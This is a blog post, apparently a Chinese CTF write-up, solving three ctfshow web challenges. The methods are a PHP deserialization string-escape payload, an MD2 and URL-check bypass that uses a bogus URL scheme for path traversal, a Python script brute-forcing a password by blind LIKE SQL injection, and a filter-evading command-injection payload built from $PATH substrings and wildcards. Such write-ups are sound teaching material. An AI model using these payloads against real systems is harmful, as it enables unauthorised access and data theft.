返回

[月饼杯]Web

发布时间:2022-11-13 06:13:02 320
# php# python# linux# git# 脚本


文章目录

  • ​​前言​​
  • ​​web1_此夜圆​​
  • ​​web2_故人心​​
  • ​​web3_莫负婵娟​​

前言

记录每一次的改变,加油!!!!

web1_此夜圆

首先题目给了源码,代码审计需要我们的​​password​​​的值为​​yu22x​​​,但是​​password​​​的值是我们不可控的,唯一能利用的点就是​​PHP反序列化的字符逃逸​​,

error_reporting(0);

class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

经过测试这部分字符为30个,然后我们看​​filter​​​部分,每替换一次​​Firebasky​​,那么就可以逃逸出两个字符(可能看到这里你会有疑问,可以参考我以前写的一篇关于反序列化的文章​​PHP反序列化字符逃逸学习​​)所以这里就不讲原理了

[月饼杯]Web_代码审计


因此得到payload:

​FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}​

[月饼杯]Web_反序列化_02

web2_故人心

也是一道代码审计

error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}

思路还是很清晰的,我们一层一层绕过,第一个绕过我们可以构造特别小的数字进行绕过,​​0.000000000000000000000000000000000000000000000001​​​可以绕过但是这里限制了长度,所以我们就可以通过科学计数法,经过测试最大可以是这个,还可以更小
payload:​​​a=1e-162​​​ 接下来看着很头大,不可能让我跑资源跑一天吧,然后发现网页存在​​robots.txt​

User=agent: *
Disallow:
Disallow: hinthint.txt

发现了提示

Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))

根据特性我们知道前面两个字符应该是​​0e​​ 写出脚本

for ($i=100;$i<999;$i++){
$b = "0e".$i."024452";
if($b==hash("md2", $b)){
echo $b;
}
}
echo "\n";
for ($i=1000;$i<9999;$i++){
$c = "0e".$i."48399";
if($c==hash("md2",hash("md2", $c))){
echo $c;
}
}

得到结果

[月饼杯]Web_php_03


接下来构造​​url​​​,他要求我们host部分为​​ctfshow.com​​,之后我们尝试目录穿越,可惜失败了

​url=http://ctfsow.com/../../../../../../../../fl0g.txt​

[月饼杯]Web_php_04


后来发现

考点:file_get_contents使用不存在的协议名导致目录穿越,实现SSRF

因此我们构造​​url=hhh://ctfshow.com/../../../../../fl0g.txt​​,成功

[月饼杯]Web_反序列化_05

web3_莫负婵娟

发现登录页面,猜测有无注册页面,结论无,之后尝试有无备份文件,结论无

[月饼杯]Web_php_06


从注释中发现了重要的消息,猜想是SQL注入

[月饼杯]Web_代码审计_07


有个东西还是第一次看到,where子句的字符串比较是不区分大小写的,但是可以使用binary关键字设定where子句区分大小写,通过like注入发现有32位​​password=________________________________​

[月饼杯]Web_代码审计_08


这里我采用python爆破

import requests
import string

strs = string.digits + string.ascii_lowercase + string.ascii_uppercase
payloadLength = 32
url = "http://54259b5b-5d66-4b4e-afb0-a5cd8ad34acf.chall.ctf.show/login.php"
i = 1
payload= "_"
tempPayload = ""
while True:
for k in strs:
tempPayload += k
data = {
'username': 'yu22x',
'password': tempPayload + "_" * (payloadLength - i)
}
r = requests.post(url,data=data)
if 'get out' in r.text:
payload = data['password']
print(data['password'])
i += 1
else:
tempPayload = tempPayload[0:-1]
if "_" not in payload:
break
if "_" not in payload:
break

最后得到结果为​​67815b0c009ee970fe4014abaa3Fa6A0​

[月饼杯]Web_代码审计_09


登录成功是一个​​RCE​​,fuzz了一下可以使用的字符有​​大写字母,数字,{ },空格,$,~​

根据提示:环境变量 +linux字符串截取 + 通配符

[月饼杯]Web_反序列化_10


最后配合通配符

​0;${PATH:14:1}${PATH:9:1} ?${PATH:9:1}??.???​


特别声明:以上内容(图片及文字)均为互联网收集或者用户上传发布,本站仅提供信息存储服务!如有侵权或有涉及法律问题请联系我们。
举报
评论区(0)
按点赞数排序
用户头像
精选文章
thumb 中国研究员首次曝光美国国安局顶级后门—“方程式组织”
thumb 俄乌线上战争,网络攻击弥漫着数字硝烟
thumb 从网络安全角度了解俄罗斯入侵乌克兰的相关事件时间线
下一篇
[BUUCTF]从WEB题学习SOAP+CLRF注入 2022-11-13 05:41:28